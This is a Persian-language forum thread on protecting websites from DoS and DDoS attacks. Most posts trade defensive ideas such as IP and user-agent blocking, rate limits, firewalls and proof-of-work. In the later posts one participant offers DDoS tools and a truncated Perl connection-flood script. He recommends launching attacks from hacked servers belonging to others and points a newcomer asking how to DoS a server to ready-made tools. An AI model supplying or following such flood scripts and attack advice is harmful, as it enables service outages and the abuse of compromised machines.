اومدیم و هکر داده ها رو بصورت هوشمندتر و طوری که بنظر نرمال بیاد ارسال کرد.


البته اگر در سطح PHP صحبت کنیم، IP نمیتونه تقلبی باشه. البته بسته به اینکه منظورت از تقلبی دقیقا چی باشه!


چطوری مثلا؟ حجم POST رو چک میکنی؟ حجم تمام متغییرهای پست شده رو جمع میزنی اگر از یک مقداری بیشتر بود؟ همینطور بنظرم متغییرهای get رو هم باید چک کنی. همینطور آپلود فایل احتمالی.


آره این ایدهء خوبیه که براحتی بلاک کامل و دائمی نشه بصورت خودکار.

پس با وجود سیستم های زامبی ISP ها هم نمیتونن کاری کنند یعنی مثل اینکه تمام مردم یک شهر از سیستم برقی خانه هاشان به شدت استفاده کنند.

[Amir9891]

سلام

من قبلاً مورد نوازش این حملات قرار گرفتم :D
اولش فایل لوگ رو باز کرده بودم و هر 30 ثانیه رفرش می کردم تا access log و user agent ها رو ببینم. همه حملات با استفاده از یه یوزر ایجنت به خصوص انجام می شد.
منم هر 30 ثانیه آی پی هایی که یوزر ایجینتشون مشابه بود رو بلاک می کردم.
یه یه ساعتی گذشت (حمله رأس ساعت 12 شب که کرون جاب سایت اجرا می شد شروع شده بود) دیدم نه خیر :D این تو بمیری از اون تو بمیری ها نیست! تا یه آی پی بلاک می کردم حمله کننده به صورت هوشمند انگار تشخیص میداد و فوراً از یه ای پی دیگه درخواست ارسال می شد. یه نیم ساعت دیگه هم گذشت دیگه حملات با شدت بالاتر از چند تا آی پی همزمان ارسال می شد و دیدم سرعت سرور داره به سرعت میاد پایین.
منم که خوابم گرفته بود نصفه شبی دیگه حوصله ام نکشید! یه ضرب زدم آی پی کل کشورها به غیر از ایران رو بلاک کردم. :D بعد با خیال آسوده گرفتم چند ساعت خوابیدم و صبح اول وقت دوباره دسترسی ها رو برگردوندم.

خلاصه این که حملات DDOS خر است! راه خاصی هم نداره چون همیشه استراتژی حمله شون یه جور نیست.
بعد از اونم یه بار دیگه حمله شد ولی دیگه از اول همون کار آخر رو کردم. یعنی همه آی پی ها غیر از ایران رو بلاک کردم.


پ.ن: اینم از اولین پست من تو برنامه نویس :D

[mahdiyaran]

سلام
همه آی پی ها غیر از ایران رو بلاک کردم.

ip غیر ایران رو چطور تشخیص دادی ؟

[omidabedi]

http://blog.iranhost.com/10795/%D8%A...6%D9%87%D8%A7/

این اطلاعات برا اماتورها مثل خودم بدرد میخوره

[eshpilen]

خودم تا اینجا به این نتیجه رسیدم که برای اینکه درمقابل DOS/DDOS آماده باشیم و اگر رخ داد بتونیم یک راه حلی که از همه عمومی تر باشه و به احتمال زیاد بتونه جلوی این حملات رو بگیره یا حداقلش شدتشون رو بقدر کافی کم کنه، باید یک سیستم بلاک IP بذاریم. البته منظورم بلاک دستی هست و نه خودکار.
یعنی خودمون IP حمله کننده رو وارد اینترفیس این سیستم کنیم که بعد تمام درخواستها از اون IP بلاک بشن. ضمنا موقع بلاک کردن باید بتونیم زمان بلاک رو تعیین کنیم که بشه زمانش محدود بشه و سیستم پس از گذشت زمان خاصی اون IP رو بصورت خودکار از بلاک دربیاره. بخاطر اینکه ممکنه بین این IP ها بعضی IP هایی باشه که دیگران هم ازش استفاده میکنن (یا خواهند کرد)؛ ممکنه ما اصلا این رو ندونیم، پس بهتره همینطوری هر IP رو بلاک نامحدود نکنیم از همون بار اول.
باید برای این سیستم بلاک این قابلیت رو هم بذاریم که تعداد زیادی IP رو از طریق فایلی چیزی هم بشه به خوردش داد؛ چون ممکنه تعداد IP های حمله کننده زیاد باشه و نشه براحتی و سرعت کافی اونا رو دستی وارد کرد.
همینطور قابلیت بلاک کردن محدوده ای از IP ها رو هم درش بذاریم.
و همینطور قابلیت اینکه بجای استفاده از لیست سیاه (بلاک کردن یکسری IP های مشخص و آزاد بودن IP های غیر از اونا) از لیست سفید استفاده کنه، یعنی لیست IP های مجاز رو بهش بدیم و هر IP غیر از اونا رو بلاک کنه.

البته نمیدونم شاید این امکانات همینطوریش در بعضی کنترل پنل های هاست ها باشه

سوال بعد اینه که خب ما این سیستم رو حالا چطوری روی سایتها و برنامه هامون سوار کنیم؟ چون نمیشه که هر برنامه ای واسه خودش یه همچین سیستمی پیاده کنه. باید یک سیستم جامع و مستقل از برنامه ها و سایتهای مختلف باشه که بشه هر وقت هر جا که میخوای راحت سوارش کنی بدون اینکه نیاز به دستکاری در برنامه های دیگر باشه.

[metal gear solid 4]

در رابطه با نرم افزاری که بشه امکاناتی که گفتین رو ارائه بده فکر کنم لینک زیر مناسب باشه.

http://ninjafirewall.com/generic/overview.php






یادم نیست . یک سال پیش نسخه رایگانشو نصب کردم. نیاز به دستکاری در برنامه هاتون نیست. تمامی درخواست ها قبل از رسیدن به سطح برنامه ی شما از فیلتر این برنامه عبور میکنن. فایل htaccess و یا httpd.conf باید یه تغییراتی بکنه فقط. ( تا جایی که یادمه البته )
متاسفانه این نرم افزار با امکانات کاملش پولیه. اما شاید بشه یه نسخشو قاچاقی هم گیر آورد!!

[omidabedi]

فکر کنم همونطور که خودتون گفتید در سطح برنامه میشه اینکارو کرد
طبق مطالعاتی که داشتم و همونطور که خودتون گفتید هدف attacker مهمه و همیشه برنامه نیست میتونه ram و cpu یا روتر و لایه های مختلف برنامه باشه و فکر کنم برای جلوگیری در بقیه ی حالات فایروال سخت افزاری بهترین مورد باشه
اما در سطح برنامه سیستم بلاک ای پی مناسب هست اما خب باید خودش بتونه حمله ی DDOS رو از بازدید معمولی یا حتی اسکنر ها و وب کراولرها تشخیص بده و جلوشونو بگیره
چون همیشه که مدیر سایت سایتشو مانیتور نمیکنه یا شاید متوجه نشه اصلا

سایت هایی رو دیدم که در سطح برنامه وقتی بازدید زیاد میشه وقتی صفحه ای رو باز میکنی پیام میده حجم ترافیک خیلی زیاده چند دقیقه دیگه دوباره امتحان کنید
از لحاظ user friendly خب اصلا جالب نیست اما در سطح برنامه میتونه موثر باشه
ولی خب میشه این صفحه رو بصورت تایمر قرار بدیم مثلا بگیم ترافیک زیاده 30 ثانیه صبر کنید اما همونطور که گفتید ممکن هست attacker از همین قابلیت استفاده کنه و مثلا صدها پیج باز کنه که تایمر داشته باشه
بازم مصرف رم میره بالا
همون ای پی ظاهرا بهترین کاره در صورتی که هوشمند باشه و اتوماتیک

[viiictor]

در صورت تمایلتون من میتونم چند نمونه اسکریپت و برنامه های تحت وب و ویندوز برای انجام حملات Dos و DDos براتون قرار بدم تا بررسی کنید از چه روشی حمله رو انجام میده و روش مقابله باهاش رو پیدا کنید !!

ضمنا اسکریپت ها و برنامه های Anti DDos موجود هست که میتونه توسط وب مستر روی سایت یا مدیریت هاستینگ و روی سرور نصب بشه !

[eshpilen]

DDOS یک بدی رو داره. حمله کننده فقط درخواست میده. تولید درخواست خیلی راحتتر از پاسخ دادن به درخواست هست. مگر اینکه حمله تشخصیص داده بشه و پردازشی انجام نشه.

آره دقیقا.
در بعضی حمله ها میان و بخشها و عملیاتی رو در سایت که هر درخواست در اون باعث پردازش زیادی میشه شناسایی میکنن، بعد درخواستهای حمله روی اون بخش متمرکز میشه.
فرضا یک بخش جستجو که محدودیتی نداره در سایتی هست. خب اینجا هکر مثلا فقط یک درخواست میده اما روی سرور اون درخواست کلی پردازش و عملیات انجام میده که مثلا از توی یک دیتابیس بزرگ رکوردهایی رو با معیاری که درخواست مشخص کرده پیدا کنه. فرضا اگر سرچ ها از کش هم استفاده کنن، بعلت اینکه در حمله از پارامترهای رندوم استفاده میشه، این کش احتمالا به هیچ دردی نمیخوره (و تازه خودش باعث یک پردازش و زمان افزوده میشه).
خب یک راه جلوگیری از این قبیل موارد میتونه گذاشتن محدودیت روی سرچ باشه. مثلا از هر اکانت و/یا IP، تعداد مشخصی درخواست جستجو در یک بازهء زمانی خاص اجازه داده بشه. البته اینم لزوما نمیتونه جلوی این بار پردازشی رو بطور کامل بگیره در تمام موارد، ولی حداقل شدتش رو میتونه کاهش بده و دیگه با تعداد کمی درخواست براحتی کسی نتونه سایت رو بخوابونه.
ولی خب حساب کنید ما در برنامه جاهای دیگری هم ممکنه جستجو یا عملیات دیگری داشته باشیم که کم و بیش سنگین باشن و بتونن در حمله ها مورد سوء استفاده قرار بگیرن. حالا بخوایم دونه دونه این موارد رو شناسایی کنیم و این سیستم رو بهشون اضافه کنیم، خب، شاید یه مقدار اذیت و مشکل داشته باشه. نه؟ اونم برای هر اپلیکیشن و بخش سایت باید این کار تکرار بشه. پس چطوره اصلا یک سیستم کلی تری درست کنیم که در لایه ای بالاتری و قبل از همهء اپلیکیشن ها و بخشهای سایت قرار بگیره. یک سیستم که قابل کانفیگ هم باشه و گزارش و هشدار و اینا هم داشته باشه، بتونی Black list و White list هم بهش بدی، بتونی برای دسته IP های خاص معیارها و محدودیت های متفاوتی بذاری، خلاصه بتونی برای هر سناریو و حتی موارد پیشبینی نشده در آینده اون رو براحتی پیکربندی کنی.

خوبه؟
شما ایدهء دیگری ندارید؟
از طرفی هم آدم میبینه حمله های داس خیلی هم معمول نیستن و ممکنه این همه سیستم بذاری (که خودش پیچیدگی و پردازش و تداخل ها و دردسرهای احتمالی پیشبینی نشده ای رو ممکنه ایجاد کنه) و چند سال بگذره و هیچ حمله ای هم صورت نگیره یا حمله صورت بگیره اما از نوع و شدتی نباشه که این سیستم بتونه دربرابرش بقدر کافی موثر و مفید باشه.
نه؟
آهان خب میتونیم بذاریم ولی بصورت پیشفرض خاموش باشه بعد هروقت حمله شد روشنش کنیم
ولی اینطوری هم که مزیت خودکار بودنش یخورده از دست میره

[eshpilen]

در صورت تمایلتون من میتونم چند نمونه اسکریپت و برنامه های تحت وب و ویندوز برای انجام حملات Dos و DDos براتون قرار بدم تا بررسی کنید از چه روشی حمله رو انجام میده و روش مقابله باهاش رو پیدا کنید !!

ضمنا اسکریپت ها و برنامه های Anti DDos موجود هست که میتونه توسط وب مستر روی سایت یا مدیریت هاستینگ و روی سرور نصب بشه !

بذار بنیم چنه

[MMSHFE]

چند وقت پیش بخاطر یک باگ در vBulletin (پلاگین VBSEO بطور خاص) یکی از سرورهایی که روش کار میکردیم در دبی مورد حمله DDOS قرار گرفت. خیلی جالب بود و یکسری نکات خوب یاد گرفتیم:
1- در حمله DDOS لزوماً هکر به پاسخ Ack نیاز نداره و برای همین، به محض اینکه یک درخواست فرستاد، IP رو عوض میکنه و سرور هم چون Ack قبلی دریافت نشده، دوباره میفرسته و این یک مدل خاص از این نوع حمله است که ترافیک سایت رو به باد میده!
2- دیدم خیلی از دوستان گفتن از CAPTCHA استفاده کنیم. دقت کنید که استفاده از CAPTCHA مهم نیست چون این حمله، Bruteforce نیست و قصد کسی هم اصلاً کشف رمز کاربران سایتتون نیست بلکه هدف، خوابوندن سرور شماست. پس هرچی صفحه سنگین تر باشه و عکس و... گذاشته باشین، خودتون دارین به هکر کمک میکنید تا علاوه بر CPU (برای تولید CAPTCHA و نمایش صفحه و...) ترافیک سایت هم به فنا بره.
3- در اکثر این حملات، با وجود اینکه IP عوض میشه، User Agent ثابته (هرچند میشه اون رو هم جعل کرد ولی اکثراً - نه همه - اینکار رو انجام نمیدن). پس میتونید Agent رو بلاک کنید. اما همینجا هم به یک نکته باید دقت کنید: این کار رو حتی الأمکان با PHP انجام ندین چون بهرحال برای اینکه تشخیص داده بشه که به کلاینت باید جواب بدیم یا توی لیست سیاهه، باید اسکریپت PHP و مفسر PHP اجرا بشن و این خودش باز CPU رو درگیر میکنه. ترجیحاً از فایروال سخت افزاری استفاده کنید (که CPU سیستم رو درگیر نکنه) یا اگه امکانش نبود، یک فایروال خوب (پیشنهاد من CSF) نصب کنید و با کمک اون، عمل بلاک کردن رو مدیریت کنید. ما حتی اسکریپت AntiDDOS رو از هاستینگ خودمون که LiquidWed بود، خریدیم ولی اون هم کم آورد (همزمان با IP های حدود 100 کشور حمله میشد). آخرش هم فایروال سخت افزاری به دادمون رسید چون حتی با وجود CSF، بخاطر گستردگی حمله، 16 تا CPU هشت هسته ای که داشتیم، آمپر 100٪ چسبونده بود.
4- درمورد تفاوتهای DOS و DDOS هم تحقیق کنید. با هم فرق دارن و اکثر این راههایی که دوستان میگن بیشتر برای DOS مناسبه و گویا گستردگی و وسعت DDOS رو هنوز درک نکردن. DDOS رو نمیشه به راحتی مهار کرد. چند وقت پیش کلی از سرورهای اروپا و امریکا مورد این حمله قرار گرفت و از کار افتاد. حتی فیسبوک هم کند شده بود. به گوگل هم حمله کردن ولی این غول فناوری خم به ابرو نیاورد و فقط اعلام کردن که برای اولین بار، بیش از 10 درصد قدرت پردازشی گوگل به کار گرفته شد! تنها راه قطعی مقابله با DDOS داشتن یک سرور قدرتمنده ولی بعنوان قرص مسکن، همونطور که گفتم میشه روی فایروال حساب کرد که بهترین دارو هم نوع سخت افزایشه.

[eshpilen]

دقت کنید که استفاده از CAPTCHA مهم نیست چون این حمله، Bruteforce نیست و قصد کسی هم اصلاً کشف رمز کاربران سایتتون نیست بلکه هدف، خوابوندن سرور شماست. پس هرچی صفحه سنگین تر باشه و عکس و... گذاشته باشین، خودتون دارین به هکر کمک میکنید تا علاوه بر CPU (برای تولید CAPTCHA و نمایش صفحه و...) ترافیک سایت هم به فنا بره.

بله درسته بنده هم اشاره کردم به این موضوع (پردازش خود کپچا).
ولی بازهم در بعضی موارد کپچا احتمالا میتونه برای جلوگیری از DOS/DDOS موثر باشه. بطور مثال یک عملیات خاصی هست در سایت که پردازش سنگینی داره و حمله کننده اون رو شناسایی میکنه و درخواستهای خودش رو به اون بخش میفرسته، یعنی داره از سنگین بودن اون عملیات برای تقویت چند ده برابری و حتی چند صد برابری تاثیر منفی درخواستها روی سرور استفاده میکنه، در اینطور مواقع کپچا میتونه مانع این بشه که درخواستها بتونن بصورت خودکار ارسال بشن و اون عملیات سنگین رو در سرور موجب بشن. البته کپچا رو هم میشه از اول نذاشت و فقط وقتی درخواستها به یک محدودیت تعداد خاص در بازهء زمانی بر اساس اکانت یا آیپی رسید فعال بشه (به این شکل کاربران عادی بطور معمول کپچایی نمیبینن و اذیت نمیشن).
البته اینا همه راههای موردیه که بستگی داره به شرایط برنامه و کاربران و نوع و شدت حمله. ما فقط سعی کردیم تمام روشهای مختلفی رو که ممکنه در جای خودشون مفید یا لازم بشن مطرح کنیم. بدیهی است که نمیشه یک روش کلی و مطلق برای تمام موارد ارائه کرد، بخاطر تنوع شرایط برنامه ها/سرورها/کاربران/کاربردها و نوع حمله ها.
البته بجای روش کپچا میشه از محدودیت تعداد درخواست در بازهء زمان هم استفاده کرد، و میشه همزمان هر دو رو هم با هم ترکیب کرد اگر مفید بود. بهرحال کپچا ممکنه کرک شده باشه یا گاهی با روشهای دیگری که هست دور زده بشه.

حملات داس و دی داس در انواع و شدت تنوع زیادی دارن و این تاپیک هم کلیه نه درمورد یک شکل و شدت خاص (البته فکر میکنم برحسب سطح برنامه نویسی و کار خودمون بیشتر به اون موارد و راهکارهایی که در سطح اپلیکیشن هستن بپردازیم مربوط تر باشه).

[MMSHFE]

صحبتهاتون رو قبول دارم ولی فقط خواستم یادآوری کنم حمله DDOS بزرگتر از اونه که برنامه نویس به تنهایی بخواد فکرش رو درگیرش کنه و با تکنیکهای برنامه نویسی صرفاً میشه DOS رو مهار کرد و درمورد DDOS کاری بر نمیاد و مدیر سرور و مهندسهای شبکه باید همکاری کنن. حتی همینکه لیست IP های ممنوع رو بگذاریم و بخوایم چک کنیم و بعد به کاربر جواب ندیم، باز هم CPU و RAM و HDD و... رو درگیر میکنه و هدف DDOS هم دقیقاً همینه: درگیر شدن منابع سیستم سرور که مهمترینش CPU هست، طوری که دیگه نتونه به بقیه جواب بده و درخواستهای خدمات سایر کلاینتها رو رد کنه (معنای دقیق Denial Of Service). حالا تصور کنید Distributed هم اضافه بشه. مؤثرترین راه جلوگیری از DDOS هم همینه که بار چک کردن و بلاک کردن IPها و Agentهای غیرمجاز رو از روی دوش CPU سیستم برداریم. حتی تصور اینکه چنین کارهایی رو بخوایم با یک زبان تفسیری انجام بدیم هم بیشتر شبیه یک شوخیه! dotNet هم مشکلات خاص خودش مثل کامپایل JIT و... رو داره و درهرحال وظیفه برنامه ها نیست. هر کسی باید سهم خودش رو در اینجور مشکلات انجام بده.

[eshpilen]

آره منم یک هدفم از این تاپیک و مطالب همین بود که بگم قضیه اینطوریه.
چون بعضیا قبلا چیزهایی گفته بودن و روشهایی در سطح PHP مطرح کرده بودن.
یا مثلا اشاره شده بود که عملیات هش پسورد اگر سنگین باشه (که برای یک هش امن لازمه) اونوقت به حملات DOS/DDOS کمک میکنه.
من میگم که این درست نیست که مثلا از یک هش ضعیف استفاده کنیم که مقاومت دربرابر داس بالا بره. یا مثلا از رمزنگاری های حرفه ای استفاده نکنیم، از توابع رندوم قوی و امنیتی استفاده نکنیم، چون همهء اینا سنگین هستن و کلی پردازش مصرف میکنن. یا بیایم بصورت افراطی برنامه رو بهینه سازی کنیم (بهینه سازیهای جزیی - همون وسواس در بهینه سازی که بارها بهش پرداختم).
چرا؟ چون اینطوری باید تمام چیزها و بقیهء مسائل و حملات امنیتی رو بیخیال شیم فقط بخاطر یک نوع حمله، که تازه اونم در عمل میتونه تلاش کم و بیش بیهوده ای بوده باشه. هرچند این حرف هم کم و بیش درسته که ممکنه گاهی از طریق همین بخشهای سنگین سیستم عمدا اقدام به حملهء داس بشه، ولی واقعا این تقصیر و وظیفهء برنامه نویس سطح بالا نیست، بلکه یک مشکل و معضل و ضعف کلی در اینترنت هست و برای قوی ترین سایتها و برنامه ها هم میتونه معضل باشه، حتی باوجودی که در سطح برنامشون تمهیدات گسترده ای در این باب لحاظ کرده باشن. بخاطر همین بنظر من برنامه نویس حتی الامکان باید برنامش رو بدون توجه به این حمله بنویسه، و نهایت از یک سیستم مستقل یا دفاع در لایه های دیگر برای جلوگیری ازش بهره ببره. هرچند ممکنه نیاز باشه در بعضی بخشهای خود برنامه هم کم و بیش دست ببره و تهمیداتی رو برای این مسئله درش لحاظ کنه، ولی فکر کنم اونا رو در مراحل نهایی یا بعدا هرموقع که احساس اولویت و نیاز جدی شد بشه درست کرد. خب بهرحال این بیماری صعب العلاج هست و اشکال و انواع و شدت های خیلی متنوعی داره و نمیشه دربارهء اینکه باید و نباید چکار کرد نظر قاطع و کلی داد؛ بنابراین فضا رو باز میذاریم برای ایده ها و روشها در همه سطحی، چون ممکنه هرکدام در عمل در موردی بتونن مفید یا نیاز باشن.
من خودم حالم گرفته میشه که بخوام مدام با توجه به این حمله برنامه بنویسم، چون هم کارم زیاد و پیچیده میشه و هم محدودیت ایجاد میکنه. همینطوریش نوشتن برنامه حرفه ای و امنیت اصولی از جنبه های دیگه سخت هست. بعد فرق بین این حمله با حمله های دیگه اینه که در این مورد هر الگوریتم و پردازشی خودش میتونه اثر معکوس داشته باشه، درحالیکه در حمله های دیگر ما محدودیت جدی در استفاده از منابع پردازشی و سخت افزاری و زمان نداریم و دستمون بازه که مثلا یک هش رو 10 هزار بار تکرار کنیم یا از رمزنگاری های مدرن و مستحکم مثل AES و RSA استفاده کنیم و غیره. حالا بیان بگن باید داس رو هم موقع برنامه نویسی لحاظ کنی، اونوقت آدم دستش در استفاده از این ابزارهای عالی سست میشه و دچار تردید میشه که بالاخره چکار کنه مثلا از یک هش ضعیف تر یا رمزنگاری غیراصولی استفاده کنه یا نه.
بخاطر همین مسائل بنظر بنده هم بهتره حملهء داس رو در یک سطح و/یا لایهء جداگانه از برنامه نویسی سایت و اپلیکیشن ها درنظر گرفته و مدیریت کنیم؛ اما خب شرایط در عمل اینقدر مطلق و ایدئال نیست لزوما و ممکنه درنظر گرفتن تمهیداتی در سطح برنامه هم در مواردی مفید یا لازم بشه.
البته داس بهرحال یک حمله ای هست که در اون بطور معمول نفوذ یا خسارت/سرقت دیتا رخ نمیده، و از این لحاظ میشه درجهء وخامتش رو کمتر از خیلی حمله های دیگر دانست. ولی باز اینم زیاد نمیشه اعتبار کرد و بستگی به مورد و اهمیتش داره و برای بعضی سایتها میتونه خیلی مهمتر باشه.

بعضیا میگن دیگه برنامه نباید اینقدر هم سنگین باشه که یه نفر با چندتا کوئری/درخواست بتونه بخوابونتش!
اینطوری یه جوجه هم میتونه با یه اینترنت و PC معمولی سایت رو شده بطور موقت و تا وقتی شناسایی و بلاک بشه بخوابونه.
من فکر میکنم خب آدم الکی که چیزی رو سنگین نمیکنه. یا مجبوره و لازمه و یا بخاطر سرعت و سادگی برنامه نویسی روی بهینه سازی دقیقش کار نکرده که بالاخره اینم یک فاکتور و مزیته واسه خودش. یوقت هم شاید سرور ضعیفه خب!! نباید انتظار داشت هر برنامه و کاربردی و هر ترافیکی با سرورهای ضعیف و اشتراکی بدون مشکل کار کنه.

[eshpilen]

DDOS یک بدی رو داره. حمله کننده فقط درخواست میده. تولید درخواست خیلی راحتتر از پاسخ دادن به درخواست هست.

اتفاقا یه مبحث خاصی که میخواستم مطرح کنم و قبلا در فروم برنامه نویس بهش اشاره کرده بودم ربط به این قضیه داره.
یه مفهومی هست بنام Proof-of-work system (به اختصار POW) که یک کاربردش در مقابله با اسپم هست و کاربرد دیگرش هم در مقابله با همین حملات داس.
در این سیستم کلاینت رو با الگوریتم های رمزنگاری و روشهای خاصی که هست وادار میکنیم تا به ازای هر درخواست مقدار مشخصی پردازش انجام بده (خیلی بیش از حد عادی و بدون سیستم POW) و/یا زمان صرف کنه.
اینطوری کار برای اسپمرها و حمله های داس خیلی دشوارتر میشه و میشه انتظار داشت که در خیلی موارد عملا جلوی حمله یا اسپم رو بگیره بخاطر اینکه برای طرف دیگه صرف نمیکنه و کند و هزینه بر میشه یا عملا غیرممکن در اون مقیاسی که میخواد که ممکنه منابع سخت افزاریش رو هم نداشته باشه.
مقدار پردازش/زمان صرف شده قابل تنظیم توسط سرور است.
البته این سیستمها در داس به این شکل کار میکنن که موقعی که تشخیص داده میشه که سرور Overload شده فعال میشن. طبیعتا اینطوری بهتره یا لازمه، چون پردازش و زمان اضافی در مواقع عادی به همهء کلاینت ها تحمیل نمیشه (از نظر مصرف انرژی و آلودگی محیط زیست هم اینطوری بهتره).

بهرحال این سیستمها یک مقدار پیچیده هستن و باید توسط متخصص و درست طراحی و پیاده سازی بشن. بعضی مدلهاش هم هست که نیاز به همکاری چندتا سرور داره. بعد اینکه افراد غیرمتخصص در این زمینه ها، ممکنه به شکل اشتباهی از این سیستمها استفاده بکنن که از نظر عمومی مشکلات ایجاد کنه یا شاید حتی بعضیا بخوان به شکلی ازش سوء استفاده کنن، بخاطر همین تاحالا مطرح نکرده بودم

ضمنا این سیستمهای POW فکر میکنم از نظر عملی هم که شده تاحدی جدید هستن برای این کاربردها و بطور گسترده و طولانی مدتی هم تست نشدن و بنابراین کاملا روشن و مطمئن نیست که در عمل تا چه حد میتونن مفید باشن و چه مزایا و معایبی خواهند داشت، و بعضی افراد هم کارایی اونا رو زیر سوال میدونن.

[viiictor]

این سه تا برنامه واسه حملات DDos تحت ویندوز هست !

خودم از night tool استفاده کردم جواب داده

این که روش حمله و روش مقابله باهاش رو پیدا کنید با خودتون

اسکریپت های تخت وب رو هم میزارم !

[viiictor]

اینم یه اسکریپت به زبان perl :

}; 

if(!defined($ARGV[2])){ 

print "Dos Target : "; 

$host = <STDIN>; 

chop ($host); 

print "Port : "; 

$port = <STDIN>; 

chop ($port); 

print "SYN Requests to send : "; 

$num = <STDIN>; 

chop ($num); 

} 

if(defined($ARGV[2])){ 

$host = $ARGV[0]; 

$port = $ARGV[1]; 

$num = $ARGV[2]; 

} 

for ($i=0; $i<$num; $i++) 

{ 

$len = length $form; 

$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || die "Can't Connect,It May The Server Dosed?.\n"; 

syswrite STDOUT, "[*]SYN Request: $i\n"; 

} 



print "\n\nEnd Of Sina Scarlet\n\n\n"; 

print "Press Enter To Exit..."; 

$end = <STDIN>; 

chop ($end);

[omidabedi]

این سه تا برنامه واسه حملات DDos تحت ویندوز هست !

خودم از night tool استفاده کردم جواب داده

این که روش حمله و روش مقابله باهاش رو پیدا کنید با خودتون

اسکریپت های تخت وب رو هم میزارم !

اسکریپتی که بخواد با حمله ی یک یوزر با کامپیوتر خانگی بخوابه خیلی مسخرست و مسخره تر از اون سرورش هست!

روششونم اکثرا پینگ میکنن مثلا 1000 بار پینگ میکنن به سرور

یا ی صفحه رو درخواست میکنن

تحت ویندوزهارو میگما

[eshpilen]

این سه تا برنامه واسه حملات DDos تحت ویندوز هست !

خودم از night tool استفاده کردم جواب داده

این که روش حمله و روش مقابله باهاش رو پیدا کنید با خودتون

اسکریپت های تخت وب رو هم میزارم !

اوه اوه اینا که همش exe است!
کی جرات میکنه این برنامه های ناشناس رو اجرا کنه

[eshpilen]

سورس بذار عزیز برادر.
والا من یکی که این برنامه ها رو اجرا نمیکنم چون میترسم جاسوس و هک یا خرابکاری باشن.

[engmmrj]

آقای eshpilen چطوری میشه DOS زد به یک سرور ؟
میشه چندتا منبع بدید ؟

[under22]

نکنه میخای با سیستم خودت dos بزنی

[viiictor]

اسکریپتی که بخواد با حمله ی یک یوزر با کامپیوتر خانگی بخوابه خیلی مسخرست و مسخره تر از اون سرورش هست!

روششونم اکثرا پینگ میکنن مثلا 1000 بار پینگ میکنن به سرور

یا ی صفحه رو درخواست میکنن

تحت ویندوزهارو میگما

از کامپیوتر خونگی با این سرعت نت و ... که نمیشه عزیز من !

این ها رو باید روی سرور مجازی با سرعت بالا اجرا کرد و بسته به سرعت سرور سایز پاکت ها و فاصله زمانی رو تعیین کنیم!

[viiictor]

اوه اوه اینا که همش exe است!
کی جرات میکنه این برنامه های ناشناس رو اجرا کنه

البته که برای اطمینان بیشتر روی سرور مجازی (سرور های کرک شده که واسه خودتون نیست) اجرا کنید !! اینا رو که من و شما ننوشتیم که راحت اطمینان کنیم !

سورس بذار عزیز برادر.
والا من یکی که این برنامه ها رو اجرا نمیکنم چون میترسم جاسوس و هک یا خرابکاری باشن.

سورس هم به روی چشم در اولین فرصت قرار میدم به زبان های مختلف
انتی ویروس بعضی هاش رو شناسایی میکنه اما خیالت راحت که کی لاگر و ... نیست ! با اکثرش حمله ddos انجام دادم

آقای eshpilen چطوری میشه DOS زد به یک سرور ؟
میشه چندتا منبع بدید ؟

اسون ترین راهش استفاده از همین برنامه های آماده است برای کسی که آشنایی به برنامه نویسی و مفهوم حملات داس و دیداس نداره !